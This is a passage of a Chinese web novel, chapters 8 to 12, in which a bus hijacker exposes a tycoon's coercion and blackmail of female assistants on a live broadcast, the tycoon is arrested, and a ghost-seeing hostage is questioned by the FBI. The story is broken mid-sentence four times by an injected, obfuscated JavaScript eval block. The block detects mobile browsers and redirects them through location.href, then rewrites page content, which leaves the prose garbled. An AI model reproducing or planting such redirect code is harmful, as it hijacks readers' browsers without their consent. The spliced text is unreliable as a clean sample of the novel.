弗兰克的声音除了悲悯,还有种说不出的奇异,仿佛是怨恨,怨恨之前那么多人竟没有一个敢于站出来。哪怕有一个,只要一个,或许他的珍妮就不会被逼跳楼。他无法想象当时的珍妮该有多绝望,才会选择从二十八楼一跃而下。尽管弗兰克仍不清楚珍妮坠楼前究竟发生了什么,但他知道,珍妮大概率是主动跳下去的,他的傻姑娘啊…… 与此同时,已经有热心网友开始扒阿诺德·布莱恩的生平史。 “我去疗养院见过那位精神失常的姑娘,她偎在宽大的扶手椅里,面容枯槁,神情呆滞,像个无知无觉的布娃娃,任由护工摆布。她还排斥一切男性,甚至连她的父亲都不允许靠近。只要视线范围内出现男人,她就变得狂躁不安,尖声大叫,歇斯底里,乱抓乱打。我无法形容她看见我时,眼神里流露出的恐惧、憎恶、怨恨,我从来不知道一个人的眼神竟然可以复杂到那种程度……”弗兰克的眼睛又一次红了,他捂着脸,似乎有些说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035259|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不下去。 郝运意识到自己把事情想得太过简单。这么多年没有露出一点痕迹,说明一切都在阿诺德·布莱恩的掌握中,这个人远比想象的可怕。这场直播过后,真的会有人站出来指控阿诺德·布莱恩吗?即便迫于舆论压力,警察开始调查阿诺德·布莱恩,最后真的能找到足够的证据将他绳之以法,让他得到应有的惩罚吗? 琼·安德森仍旧保持着她那惯有的略带金属质地的声线,问出了正在关注直播的每个人的心声:“她的父母知道真相吗?” 弗兰克摇摇头,又点点头,意识到观众看不到他的动作,补充道:“一开始不知道,后来从她的只言片语、梦话呓语以及胡乱写画的东西慢慢猜到一些,但那时候已经问不出详情。那对父母只知道他们的女儿受过很深的伤害,伤害极有可能来源于阿诺德·布莱恩。他们只是再普通不过的人,为了生存,为了让精神失常的女儿住得起疗养院,已经精疲力尽,没有能力,也没有时间去调查真相。” “到目前为止,看起来你仍然没有查出阿诺德·布莱恩在其中扮演着什么角色。” “其实这些对于我来说已经够了,我知道阿诺德·布莱恩是一切的罪魁祸首。不过,这时候,有人主动给我打了电话,约我见面。” “是你第一次去找的的那位?” “不错,她是和丈夫一起来的。她的丈夫并没有参与我们的谈话,但他全程都默默地坐在角落里,关注着我们。交谈过程中,我才知道,她是在丈夫的鼓励下,才有勇气揭开伤疤,重新面对那些痛苦的过去。珍妮的死让她的良心备受谴责,她无法再继续沉默下去,可是她没有证据,能做的也只是对我和盘托出,让我知道阿诺德·布莱恩是怎样一个可怕的存在。这是唯一一个能让我接近事情真相的机会,虽然我很想把谈话内容录下来,但我明白她的担忧,感谢她的勇敢,最后决定尊重她的选择,让这场谈话仅限于我们两人。” “你……很让人敬佩。”琼·安德森唇角的线条柔和了一瞬,立马恢复冷硬。 弗兰克暗自苦笑,不过是因为那时他已经做好决定,有没有证据并不重要。“我从对方的讲述中,渐渐捋清阿诺德·布莱恩是如何以总裁助理的远大前程为饵,一步步哄骗、引诱、逼迫、威胁涉世不深的年轻女孩,最终使她们沦为拉拢合作伙伴、排挤竞争对手的工具。” 9. 第 9 章 网上,关于阿诺德·布莱恩的生平资料也被扒得差不多了。阿诺德·布莱恩出生于贫困家庭,父亲酗酒早亡,母亲私生活放纵,然而他从小勤奋好学,依靠奖学金顺利毕业于某名校商学院。毕业后进入瓦格纳咨询公司,彼时该公司在业内排名不过中上,三年后升任公司总经理,迎娶老板千金凯丽·瓦格纳。四年后正式接手瓦格纳咨询公司,又一年更名为布莱恩咨询公司。 阿诺德·布莱恩担任总裁期间,布莱恩咨询公司蒸蒸日上,业务遍布全美,并不断向海外扩展,一举成为咨询行业排名靠前的大佬。为追求多元化发展,除了主要业务,布莱恩咨询公司多年来还持续投资热门的房地产、生物、医药、材料、科技等行业,赚得盆满钵满。 这是一部感天动地的励志史,阿诺德·布莱恩就是别人家的孩子,妥妥的人生赢家。然而,前提是——阿诺德·布莱恩现在所拥有的一切,不是建立在无数见不得人的勾当之上。 现在,越来越多的观众相信,阿诺德·布莱恩只是表面上光辉灿烂。 弗兰克正在揭开阿诺德·布莱恩最后一层遮羞的外衣,暴露出丑陋肮脏的内里:“阿诺德·布莱恩是个非常聪明的家伙,他从一开始就对总裁助理的人选蓄意不良。为了便于掌控,他只要家境普通、名校毕业的女学生,而金发碧眼则是为了满足自己的审美癖好。一开始就像对待珍妮那样,他会表现得彬彬有礼、举止有度,平易近人的指导,恰到好处的关心,还经常把人带到重要场合,言语间满是称赞器重。之后他会尝试着做一些亲密举动,试探女助理的反应。如果默认,他就会得寸进尺。如果抗拒,他便暂时停手,继续维持绅士形象,适当保持距离,等待新的机会。在适当的时机,比如醉酒,诱使女助理和他发生关系。” 网上骂声一片,什么“人渣”、“狗娘养的”、“禽兽”、“败类”不绝于耳。不等弗兰克说完,大家自然而然都已经联想到接下来将会发生什么。 “醒来之后,阿诺德·布莱恩表现得震惊自责,又是道歉,又是主动补偿,开出的条件丰厚的惊人,甚至会痛哭流涕地舔着脸表示爱意,说一些类似——从见到你的第一眼我就不自觉喜欢上你,但是我有家庭,我知道这么做不对,我一直在控制我自己,实在没想到酒后会发生这样的事。安德森女士,您作为女人,应该更容易产生同理心,一个刚出校门没多久的年轻女孩,面对一个平日表现绝佳的好好上司,哪怕刚刚对她行过不轨之事,可是他真诚忏悔,是不是很可能默默吃下这个闷亏,是不是很容易相信他那蹩脚的理由——不过是酒后犯错,不过是因为他再也按捺不住满腔爱意?” 琼·安德森不是小女孩,她一眼看穿阿诺德·布莱恩的小把戏,知道接下来等着那些可怜的姑娘们的将是什么。“她们没有选择。” “是啊,陷阱早已布好,她们不过是落入陷阱的可怜小兽,越挣扎血流得越多,死得越快,除了乖乖听话,哪里还有选择的机会。即便抵抗得了利诱,等待她们的也是可怕的威逼。阿诺德·布莱恩事前布置好摄像头,将过程录下来,以便要挟不听话的女助理,强迫她们成为他免费的泄/欲工具。除了随叫随到满足个人私欲,她们还要负责拉拢合作商争取业务,设计陷阱排挤竞争对手。人人都说是阿诺德·布莱恩是个经商好手,可他庞大的商业版图根本是牺牲一个又一个女助理换来的。” “她最后是怎么摆脱阿诺德·布莱恩的?” 弗兰克嘴角满是嘲讽:“这得感谢阿诺德·布莱恩的喜新厌旧。她们为什么无一例外全部忍了下来,除了视频,还有一个重要原因,那就是——阿诺德·布莱恩承诺只要一年,一年之后有新人接替,她们就彻底自由了,或者拿一笔丰厚的补偿费,或者去任一个分部担任分部经理。阿诺德·布莱恩深谙人性,知道人最怕的是没有希望,只要有希望无论如何都会忍耐下来,更知道人的忍耐是有限度的。他主动给了她们一个期限,好像主动权、选择权依旧掌握在她们手中。这一年说短不短,说长不长,她们权衡利弊,似乎忍耐才是唯一的出路,殊不知自此再无反抗的机会。” 一旁的珍妮早就听呆了,她那张可爱的小脸布满了震惊、厌恶、后怕,到后来甚至带着显而易见的庆幸。翻过窗口的一刹那,她就后悔了,后悔自己太过冲动,生命只有一次,她还有弗兰克,还有妈妈,怎么能那么自私的死去?然而此时此刻,她却觉得死亡并不可怕,至少她还是干净的。如果她选择忍耐,不出意外也会变成木偶一般的存在,屈辱的活着,哪怕身体脱离了阿诺德·布莱恩,精神却永远背负着刻着阿诺德·布莱恩几个大字的十字架,这实在可怕了。珍妮不由得打了个哆嗦。 郝运也是听得头皮发麻,珍妮的反应他看在眼里,不由得对这个勇敢的姑娘生出钦佩。这是第一个敢于和阿诺德·布莱恩抗争的姑娘,尽管付出的代价太过巨大,至少阿诺德·布莱恩一手制造的悲剧到此为止了。 “一直以来,阿诺德·布莱恩的每一次操控都堪称完美,那些姑娘如他所愿始终保持沉默。如果刚开始就站出来,至少能获得多数同情。可是后来一次又一次沦陷,她们想后悔已经来不及了。勇气早已消耗殆尽,她们承受不了外界的眼光和指点,只剩下一个想法——只要有新的接替者,自己就可以解脱了,甚至有可能在夜深人静的时候默默倒数时间。我不知道她们有没有恨过前任助理的懦弱,有没有因为还有下一个傻瓜而感到一种报复的快慰。无论怎样,我想我们都没有资格指责她们,她们只是一群刚出社会的小姑娘,不幸碰到一个懂得控制人心的恶魔。我的珍妮很勇敢,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035260|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她的勇气来的太晚,以至于付出生命的代价。” 弗兰克又一次哽咽了,摄像机将他的悲痛清晰地传递给每一位直播关注者。“我无数次想和阿诺德·布莱恩同归于尽,带着他这栋混合着十几位可怜姑娘的血和泪才建起来的大楼。我的眼里只剩下仇恨,觉得每一个在这栋大楼上班的人都是阿诺德·布莱恩的帮凶和纵容者。作为内部员工,我不相信他们一无所知,不过是事不关己冷眼旁观,不过是一群懦夫。我查到阿诺德·布莱恩礼拜一一定会准时到公司,多年来风雨无阻,便决定乘珍妮常坐的公车,赶早到布莱恩大楼布置一切。” “为什么突然改变决定?” 弗兰克含着眼泪笑了,笑得郝运有些坐立不安。哥啊,你可一定要想清楚了再说。 “昨晚我一夜没睡,公车上竟迷迷糊糊睡过去。我梦到了珍妮,她拼命劝我,不要冲动行事,伤害无辜。醒后,我反复在想,他们是谁的父母,谁的孩子,谁的妻子,谁的丈夫,谁的男友,谁的女友?如果我炸毁大楼,我与阿诺德·布莱恩相比,到底谁更可恶?这时我注意到坐在我旁边的小朋友正在看你的新闻报道,我知道你,新闻里经常有你的身影。我突然冒出一个念头,我应该把阿诺德·布莱恩的罪行公之于众,而谁敢上一辆带有炸/弹的公车采访,大概也只有你。小朋友见我盯着他的手机看,和我攀谈起来,兴致勃勃地说你怎样怎样厉害,还得意洋洋地表示你是他的老板。我想,这是上帝赐给我的启示,只是委屈小朋友留在车上。” 郝运拼命绷着面皮不想露出异样,最后还是没忍住低了头。虽然对于“小朋友”这个称呼非常不满,明明他俩相差不了多少,心里却对弗兰克疯狂点赞。够哥们,不枉舍命帮你一场。早知道弗兰克编故事的能力这么强,他就不那么卖力了,之前的那些演练,总觉得有点小朋友指导大人的意思。呸,他才不是小朋友!果然被人念叨多了,连自己都下意识忽略年龄。 某高档别墅,阿诺德·布莱恩穿着丝质晨袍,慢悠悠走下楼梯,冲楼下的黑发女人冷冷地问:“你在看什么?” 黑发女人关掉手机,慢慢转过身,微微一笑:“新闻,有人劫持了一辆公交车。”黑发女人虽上了年纪,仍是美得动人心魄,尤其身上那股令男人止不住怜惜的柔弱,让她别有风情。 阿诺德·布莱恩嗤笑一声,仿佛在说只有无聊的蠢女人才会关注这种新闻,他一屁股坐到沙发上,拿起桌上的报纸翻看起来。黑发女人很小心地上前,点好雪茄,送到阿诺德·布莱恩手中。阿诺德·布莱恩不耐烦地挥挥手,烟头几乎擦到女人的脸颊,声音仿佛高高在上的主人:“咖啡好了吗?” “马上。”黑发女人转身快步走进厨房,关门前冲专心看报的阿诺德·布莱恩露出一个奇怪的笑。 10. 第 10 章 网上对于重启调查、立即逮捕阿诺德·布莱恩的呼声越来越高。现场最高指挥官在确定弗兰克所说的前任助理情况属实后,第一时间通知最近的FBI上门传唤阿诺德·布莱恩。记者们更是一窝蜂涌到阿诺德·布莱恩别墅外,准备守株待兔。 急促的敲门声响起时,阿诺德·布莱恩刚刚咽下第一口咖啡,他习惯性地皱起眉头,正准备斥责今天的咖啡火候不到。突然的打扰明显让他更觉不快,警告性地看了一眼黑发女人,脸上马上恢复惯常的温文尔雅,示意黑发女人去开门。 黑发女人款款走到大门口,从猫眼看到全副武装的FBI时,嘴角不由得又升起笑容。她打开大门,迅速让到一边,垂着头,以便掩饰唇角那怎么也压不下去的笑意。然而垂在身侧的双手紧握成拳,消瘦的身体微微发抖,仿佛被突然闯入的警察吓到了。只有她本人知道,这是过于激动引起的无法控制的战栗。 阿诺德·布莱恩放下手中的报纸,站起身,淡定地望着气势汹汹的警察:“各位一早闯进我家,有何贵干?” “阿诺德·布莱恩,你涉嫌□□、胁迫、恐吓多名女性,涉嫌组织、强迫她人卖/淫,涉嫌故意杀人,请跟我们回去配合调查。” 阿诺德·布莱恩眼里有惊慌一闪而过,他明白警察说的句句属实,这么多年从来没有暴露过,突然被人揭掉老底,还揭得这么彻底,说不害怕是假的。阿诺德·布莱恩到底身居高位多年,很快镇定下来:“在我的律师到达之前,我不会多说一个字。” “这是你的权利。” “我需要换身衣服。” “您不用担心,警局提供换洗衣物。”探长微笑着做了个请的手势。看阿诺德·布莱恩的样子,大概还不知道他干的好事已经传遍全网,以为只是警局半日游。 “探长先生,请等一等。”黑发女人突然出声。她猛地抬起头,目光凛凛地盯着阿诺德·布莱恩。“阿诺德·布莱恩的罪行不止这些。我要控告阿诺德·布莱恩,常年对我实施家庭暴力、精神虐待,以孩子作为要挟,限制我的人身自由。” “凯丽!”阿诺德·布莱恩压抑着怒火,极力维持住翩翩风度。“回你的房间,医生马上就来。”转而冲警察解释:“我太太精神有点问题,常年需要打针。” “我的精神没有问题。”黑发女人,也就是凯丽·瓦格纳,带着一种决绝的坚定,一种终于要解脱的亢奋,身子抖得几乎站立不住。“探长先生,我知道阿诺德·布莱恩那些恶心的录像放在哪里,请跟我来。”凯丽·瓦格纳看起来下一秒就会跌到,但却拒绝女警的搀扶,一步一步缓缓爬上楼梯。 阿诺德·布莱恩终于忍不住了,一脸扭曲地扑向凯丽·瓦格纳,却被警员一下子掀翻在地。他试图反抗,却只是和地面做着无谓的摩擦。唯有一双眼睛充满怨毒地瞪着凯丽·瓦格纳的背影,从牙缝里挤出几个字:“臭婊子,你敢!” 凯丽·瓦格纳挺直脊背,脚步越发坚定。勇敢之花在这个柔弱女人的身上悄然绽放。 在凯丽·瓦格纳的帮助下,FBI在阿诺德·布莱恩书房暗室里搜出大量录影带。阿诺德·布莱恩不会想到,他收藏起来慢慢欣赏的录影带,有一天会成为呈堂证供,这下恐怕牢底都要坐穿了。 今天的FBI格外大方,似乎特意给等候在别墅区外的记者们送新闻素材,铐着狼狈的阿诺德·布莱恩招摇过市走到大门口。摄像机的闪光灯在阳光下形成大片的白光,晃得人眼晕。阿诺德·布莱恩一开始还竭力昂着头,不想在记者面前露怯。然而面对记者们抛过来的一个又一个尖锐刺耳的问题,阿诺德·布莱恩知道——他这次彻底完了!从天堂跌入地狱也不过如此,阿诺德·布莱恩像个泄了气的皮球,耷拉着脑袋,全靠一左一右两个人高马大的警员,才不至于瘫软在地。 布莱恩大厦前,琼·安德森一手摄像机,一手大黑包,轻松跳下公车。公车门迅速关上,琼·安德森一边快速走向现场最高指挥官,一边示意大家原地不要动。走到距离公车较远的空地,小心翼翼放下大黑包,迅速撤到指挥车的位置。排爆组第一时间围拢过去。 “引/爆装置还在他手中,他要求在车上再待五分钟。” “指挥官——” 现场最高指挥官伸出手制止手下未说完的话:“原地待命。” 对于弗兰克的要求倒没人觉得奇怪,这是女朋友生前常坐的公车,做最后的告别,人之常情。至于为什么要留下郝运,两人自然联想到,这是留一手,防止警察出尔反尔。 公车内,真正的告别正在进行。鬼鬼们扒着车窗,偷偷往里瞧。郝运眼皮一跳,强迫自己不去看一排脑袋整整齐齐穿过车窗的诡异场景,将自己当做没有感情的传话机。 “你要争取减刑,出狱后照顾好珍妮的妈妈。” “她会一直陪着我吗?”弗兰克知道,珍妮不过是找个借口好让他继续活下去。 “不知道。有些可以逗留许多年,有些可能某一天突然消失。”郝运摆出专业人士的架势,其实不过刚从鬼鬼们口里知道而已。“珍妮的情况还有些不同,她的活动范围只有附近两公里。” “难道她以后都得困在这个该死的鬼地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035261|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”弗兰克暴躁道。 鬼鬼们一齐摇摇头,表示他们也不知道。郝运作为华国人,没吃过猪肉也见过猪跑,鬼怪的设定耳熟能详,大概也能往外国鬼身上套套吧?于是试探着道:“一般生前有冤屈或者有心结未了的灵魂,才会被困在断气之地,无法离开。现在珍妮心愿已了,应该……应该……” 弗兰克急了:“她要离开了吗?她会去哪里?” “……”赶鸭子上架的郝运有点招架不住,看鬼鬼们也目光灼灼地望着他,显然很关心未来归宿,顿感压力山大。“在我们华国,那个地方叫地府。这里嘛,无外乎天堂和地狱,具体归哪片接收,我就不知道了。你要知道,毕竟这属于跨国范畴,所以……”郝运耸耸肩,表示为难。 “我能再见见珍妮吗?”弗兰克一脸期待。 “……”这是真把他当做专业人士了?郝运开始思考,要不要让老爸老妈帮他去淘换点茅山道术的书研究研究?这次碰到的外国鬼没什么恶意,但是按他的倒霉体质,难保以后不碰上恶鬼。 弗兰克垂下头,“不行吗?” 郝运收回跑马的思绪,眼见弗兰克失望不已,想到进了局子更不方便,遂咬咬牙伸出双手:“来,牵着我的手试试。”郝运是死马当活马医,他觉得既然能看到鬼魂,他应该是介于一种中间状态,不如就把自己当做个传输媒介,说不定能成。 珍妮的手伸过来时,郝运禁不住打了个寒颤。嘶……好冷…… “那个,怎么样?”郝运磕磕巴巴。五只鬼干脆一窝蜂挤到跟前,满眼都是期待。如果成功了,他们岂不是也可以和亲人相见了? 弗兰克对着珍妮的方向睁大眼睛,看得眼都酸了,连个虚影都没看到。 “哥呀,到底看没看到?我快冻死了!”郝运哆哆嗦嗦,上下牙齿直打架。 珍妮下意识叫出声:“弗兰克……” 再一次听到这熟悉的声音,尽管低的犹如耳语,弗兰克仍激动地无以复加:“我……听……听到了……” 郝运脸冻得乌青,浑身抖得像个筛子,听及此精神一震,忍耐道:“有……有话快说!” “弗兰克,我爱你,好好活下去。如果可以,我会一直陪着你。”珍妮含泪松开郝运的手,她不能给她的恩人带去更大的负担。 妈呀,可算结束了。郝运一把甩开弗兰克的手,拼命跺脚搓手,暗下决心,以后一定要和外国鬼保持三米距离,免得一不小心小命玩完。 一直关注着公车内情形的克拉克·肯特正好被总编的一通电话打断,完美错过最关键的五分钟。 11. 第 11 章 郝运抱着胳膊哆哆嗦嗦下公交车,配上那张发青的脸,不用刻意装假,俨然一个吓坏的小可怜,成功收获一波同情加关心的眼神。一只脚刚挨地,他就被严阵以待的警察医生围拢起来,几乎被架着安置到救护车上。毛毯、热饮迅速到位,郝运一连喝了三四口热咖啡,那股渗入五脏六腑的冷意才略觉好些,侧着头任由女医生帮他处理脖子上的伤口。 女医生的动作很轻柔,声音也很温柔,简直把郝运当做惊吓过度的小宝宝来对待,搞得他浑身不自在。不怪女医生,实在是郝运那双眼睛太有杀伤力,乌溜溜的猫儿眼,睫毛又黑又长,眨眼的时候,忽闪忽闪,配上秀气的五官,最能俘获姐姐们的心。郝运总被当做未成年,那双猫儿眼功不可没。 弗兰克已经被押上警车,临上车前他不自主抬头朝郝运望了一眼。两人目光正好对上,又迅速移开,仿佛只是不经意的对视。然而,现场最高指挥官却将这不过一两秒钟的对视尽收眼底。他和身边一个不修边幅的中年男人低低交谈两句,中年男人随即朝救护车走过来,招手把女医生叫到一边。 “人质身体怎么样?” “外伤只有脖子上的一个小刀伤,已经处理好了。” “我们想带他回警局,配合调查。” “虽然外伤不严重,但他四肢冰凉,寒战不断,这次劫持显然给他造成了不小的精神压力。我认为,最好去医院观察一段时间。” 中年男人不置可否,走到郝运跟前,微微俯身:“感觉怎么样?”俨然友善老大叔的模样。 来了。郝运心中警铃大作,扯扯嘴角,露出一个僵硬的笑:“还……还好。” “有些问题需要你配合一下,跟我们回一趟警局,可以吗?”商量的语气,看起来决定权完全在郝运身上。 郝运不傻,知道他没得选,眼前这位老大叔明显是想让他放松警惕,便顺势露出信赖的神色,配合地点点头:“可以。那个,我的包还落在公车上。” “放心,会有人帮你带到警局。” 顺便再仔仔细细检查一遍,看看有没有可疑物件。郝运腹诽。他知道,包里的东西肯定已经被翻了个底朝天,里边有些东西不应该随身携带,很容易引起误会,甚至被过分解读。特意提一句,不过是想表示自己坦坦荡荡,没有什么好隐藏的。 不怕,他只是个临时撞上的倒霉鬼,尽管阴差阳错引导了事件走向,只要咬死自己只是个受害者,即便有不太合理的地方,警察有所怀疑,找不到证据也拿他没办法。郝运暗暗在心里给自己打气,有些忐忑地坐上警车。很荣幸,被两个大高个便衣探员一左一右夹在中间。 至于五只鬼,他们不像珍妮活动范围受限,本来吵着闹着要跟上来看热闹,被郝运连哄带骗外加威胁,暂时安抚住。郝运可没心大到带群鬼进警局,万一面皮没绷住,被警察看出端倪,平白多生事端。 弗兰克同样待遇,只是车上的气氛要紧张得多。他微垂着头,一边为郝运担忧,一边巴望着珍妮脱离束缚,陪在他身边。下车前,郝运承诺过,后边会想办法告诉他珍妮的情况。审讯的时候,他一定要小心再小心,绝对不能把郝运牵扯进来。弗兰克在心里默默演练对好的说辞。很快,他就顾不上这些,神色激动,奋力挣扎起来。 “老实点。”两个大块头警察轻松把弗兰克按在座位上。 原来,前排副驾驶的警察正在看一则新闻报道,女记者冲着镜头神情激动地做着报导——阿诺德·布莱恩在长岛的私人别墅被警方拘捕,身后则是阿诺德·布莱恩垂头丧气被带上警车的画面。副驾驶的警察扭头看一眼弗兰克,眼含警告,转回身,却把手机往中间移了移。 报导只有几十秒,警察收回手机,状似不经意的感慨着:“谁能想到聪明绝顶的阿诺德·布莱恩也有犯蠢的时候,不仅留着所有录像带,还把录像带藏在家里,这下连上帝都救不了他咯。” 弗兰克浑身颤抖,双手抱头,放声大哭起来:“珍妮,你听到了吗?那个恶魔被抓起来了!”痛哭声伴随着警笛声,呼啸着直奔曼哈顿中心的FBI大楼。 郝运被运往FBI大楼的途中却精彩纷呈。车子刚开不到五分钟,抛锚了。裹在毛毯里的郝运嘴角抽搐地低下头,心里却禁不住有些幸灾乐祸,甚至莫名希望这波倒霉来得更猛烈些。毕竟,这样的机会千载难逢。 除了充当司机的警员,一行人转移到后边一辆特警乘坐的大车上,稍微挤挤勉强坐下。郝运在一群持/枪/核/弹的特警哥哥中间努力降低存在感,心里默默祈祷——千万别走火,这可不是闹着玩的。车子晃晃悠悠,郝运提心吊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035262|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆,他可不可以收回刚才的幸灾乐祸。 这会儿正是早高峰,通往市中心的路上排起长龙,车子几乎是龟速行进。郝运一大早出门,什么都没吃,空肚子坐在一步一晃的车上,很快,胃里造起反来。脸色渐渐由青转白。这里不是下车的地方,郝运放松身体靠在车厢上,闭上眼睛,放空脑袋,准备眯一会。只是屁股底下的窄凳实在不舒服,胃里又翻江倒海,车子又一次刹住后,郝运没忍住,哇的一声吐了,好巧不巧吐到旁边一个大高个的脚上。 幸好胃是空的,刚才喝的又是黑咖啡,只是吐出些酸水,黑皮鞋上倒也不算太埋汰,但是多少有点味道。郝运这一吐,胃里倒是轻松了,却弄得鼻涕眼泪齐飞,颇为狼狈。 大高个嫌弃地看一眼脚背,倒也没说什么,眼见郝运白着一张脸,猫儿眼里水汪汪的,嘴里不住的道歉,反而掏出一包纸巾递过来。“还好吧?”大高个不知道郝运的真实年龄,看他脸嫩,又刚刚死里逃生,自觉是惊吓后遗症,神色还温和了许多。 郝运感激地接过纸巾,擦擦眼泪,擤擤鼻涕。“没事,就是有点晕车。”说着就要弯腰帮大高个擦鞋。 大高个收回脚,不在意地摆摆手。郝运只好作罢,又抱歉地冲车里其他人笑笑。不笑还好,这一笑,大家的脸似乎更冷了,一个个抿着嘴巴,双眼半合,看都不看郝运一眼。 郝运讪讪低下头。不知道是不是错觉,总觉得车里的气氛莫名凝重起来,好像有什么事情要发生。很快,郝运的预感成真。又是一个刹车,不同的是,这次刹得有点猛,紧接着就是此起彼伏的呕吐声。 原来呕吐真的会传染,今天的罪过有点大。郝运眼睁睁看着越来越多的人由神色隐忍转为脸色难堪,最后被迫弯下腰。原本没想吐的人,胃里也禁不住翻腾起来。大概吐的人多了,大家干脆不忍了,甚至吐完了,还能一脸淡定地擦擦嘴,重新坐正。吐舒服了,神色自然轻松下来,明明被各种奇奇怪怪的味道包围,车上的气氛却和缓了。 以一己之力带吐一车人,天下恐怕找不出第二个人吧?郝运不禁满头黑线。幸好大家都是一大早紧急出动,根本来不及吃东西,没吐出多少东西,至少眼睛不用承受持续暴击。郝运小心翼翼调整呼吸,祈祷接下来别再出幺蛾子,今天的倒霉值早就爆满了。 12. 第 12 章 老天爷今天的热闹似乎看够了,之后一路顺利。车子在FBI大楼前停下,丢下蹭车的几人,一溜烟开走了。走的时候,不忘报复性地喷了郝运一脸尾气。一阵风适时吹过,夹着若有若无的热狗香气,郝运咂咂嘴,瞬间对传说中的FBI大楼失去兴趣。裹紧小毛毯,捂着哀鸣不已的肚子,垂头拖脚跟着两位探员,走进气势恢宏的FBI大门。 郝运被带进三楼犯罪调查部的一间询问室,趁等待的功夫去洗手间漱了漱口,冲掉嘴里那股淡淡的酸味。回来没一会儿,刚才的中年大叔推门进来,递给郝运一个小纸袋:“饿了吧?” 郝运接过纸袋,迫不及待打开,竟然是心念念的热狗,不由得笑容满面:“谢谢。”一口下去,结果有最不喜欢的芥末酱。好吧,就知道老天爷不会真心疼爱他。算了,有的吃总比没的吃强,郝运含泪咽下,一口咖啡,一口热狗,慢慢吃着。 “自我介绍一下,我叫罗德·格雷厄姆,是特案一组的探长。”说着在旁边坐下,整个人放松地窝进椅子里。 “格雷厄姆探长,您好,我叫郝运。”郝运乖乖打招呼。 “听说你们回来的路上很精彩。” 郝运不好意思地垂下头:“都怪我没忍住。” 格雷厄姆摆摆手:“我参与过很多起人质营救行动,你很勇敢。”格雷厄姆作为多年老探员,一眼看出郝运并没有受到什么惊吓。要么是胆识过人,要么就是知道自己不会有危险。根据调查结果,格雷厄姆更偏向于后者。 “……”总觉得这夸奖不怀好意。郝运本着多说多错的原则,只好继续装难为情。 “如果不是看过你的驾照,我真不敢相信你已经二十四岁。啊,抱歉,安全起见,我们检查了你的背包。” “没关系。”郝运半玩笑半苦涩地补充,“我反正被查习惯了。”还曾经被质疑过证件造假。 格雷厄姆理解地笑笑,摆出闲聊的架势:“你背那么多东西出门,不累吗?”言语间似乎只是单纯好奇。 郝运手里的热狗瞬间不香了,一张脸也变成苦瓜样,幽幽道:“我也不想这样。” 格雷厄姆一下来了兴致:“听起来你有难言之隐。” “我不是来配合调查的吗?”郝运不想再陪着绕圈子,既然对方不着急,那就由他来直奔主题吧。 “等嫌疑人口录好口供,你帮忙确认一些问题就行了。那边刚开始,估计至少要等到十点半。” 你一个特案一组的探长亲自出马,就为了陪一个无辜受害的人质聊天,鬼才信呢!郝运心里腹诽,面上则忐忑道:“我能给我老板打个电话吗?就是刚才负责采访的安德森女士,下车后没找到机会跟她说话。今天其实是我第一天上班,也不知道……”说到最后不禁垂头丧气起来。 格雷厄姆露出同情之色,大方道:“当然。”然而人却是没有离开椅子的意思。 郝运在心里撇撇嘴,拨通琼·安德森的电话,铃声响到自动挂断,大概是在忙吧。郝运觉得自己大概率需要重新找工作。 “你大学学的是企业管理吧?怎么会想到跨行做记者?还成了琼·安德森的手下?” 连毕业证上的专业都注意到了,果然什么都逃不过警察的眼睛。既然这位特案探长百忙之中赏脸跟他拉家常,那他只好盛情相陪。郝运面上一红,迟疑一会,才道:“我其实也没想到。我那个大学没名气,专业又烂大街,为了多争取机会,投简历的时候基本是无差别海投。没想到竟然接到太阳日报的面试电话,去了才知道是大记者琼·安德森在招人。” “大学不好,专业普通,却脱颖而出,肯定是你这个人有过人之处。” 郝运越发难为情,含含糊糊道:“其实挺丢人的,我都不好意思说。” “我朋友家的小孩也在找工作,好经验不分享一下么?” 面对格雷厄姆闪闪发光的灰眼睛,郝运犹豫再三,终于鼓起勇气:“我完全是走了狗屎运。我知道我跟其他面试的人根本没有可比性,只好另辟蹊径。你不是问我为什么要带那么多奇奇怪怪的东西吗?” 